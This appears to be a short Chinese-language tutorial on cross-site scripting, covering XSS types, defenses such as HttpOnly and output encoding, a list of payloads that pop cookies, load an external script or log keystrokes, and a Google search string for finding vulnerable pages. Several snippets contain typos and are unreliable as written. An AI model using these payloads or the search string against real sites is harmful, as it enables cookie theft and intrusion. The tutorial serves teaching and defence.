WEB安全之XSS简单介绍以及操作
XSS介绍
XSS攻击,通常指黑客通过“HTML注入”篡改网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫做“跨站脚本”。当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
XSS的分类
反射型XSS
反射型XSS是指通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,带有恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。 (服务器中没有这样的页面和内容)。
储存型XSS
储存型XSS也被叫做持久型XSS,,它的特点是持久化,代码是存储在服务器/云服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等(用户影响范围大)
DOM型XSS
实际上,这种类型的XSS并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型XSS。单独划分出来,是因为DOM Based XSS的形成原因比较特别,发现它的安全专家专门提出了这种类型的XSS。这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型是后端代码中存在了漏洞。
XSS利用框架
XSS常用的插入Payload
测试payload:
<script>alert('xss')</script>
“><script>alert('xss')</script>
<img src=0 onerror=alert(1) >
弹出网站Cookie:
<script>alert(document.cookie)</script>
<img src-0 onerror=alert(document.cookie)>
<img src=xonerror=appendChild(createElement('script')).src='js_url' />
监听键盘onkeydown事件:
document.onkeydown=funciont(e){
if(!e)e=window.event;
try(hijack();)catch(ex){}
}
JavaScript 键盘记录器还可以捕获用户按下的特定键,在 IE浏览器中可以使用如下代码实现:
<script>
function keyDown(){
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</scrip>
XSS的防御
1.HttpOnly浏览器禁止页面的JS访问带有HttpOnly属性的Cookie。
2.输入检查 XSS Filter 对输入内容做格式检查,类似“白名单”,可以让一些基于特殊字符的攻击失效。在客户端JS和服务器端代码中实现相同的输入检查(服务器端必须有)。
3.输出检查 在变量输出到html页面时,可以使用编码或转义的方式来防御XSS攻击 HtmlEncode:将字符转成HTMLEntities,对应的标准是ISO-8859-1。
4.XSS的本质是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。
XSS漏洞挖掘技巧
利用谷歌搜索XSS漏洞:
inurl:’Product.asp?BigClassName
地址中存在百分号的URL和汉字的URL中大部分都会存在XSS漏洞。
睿江云官网链接:www.eflycloud.com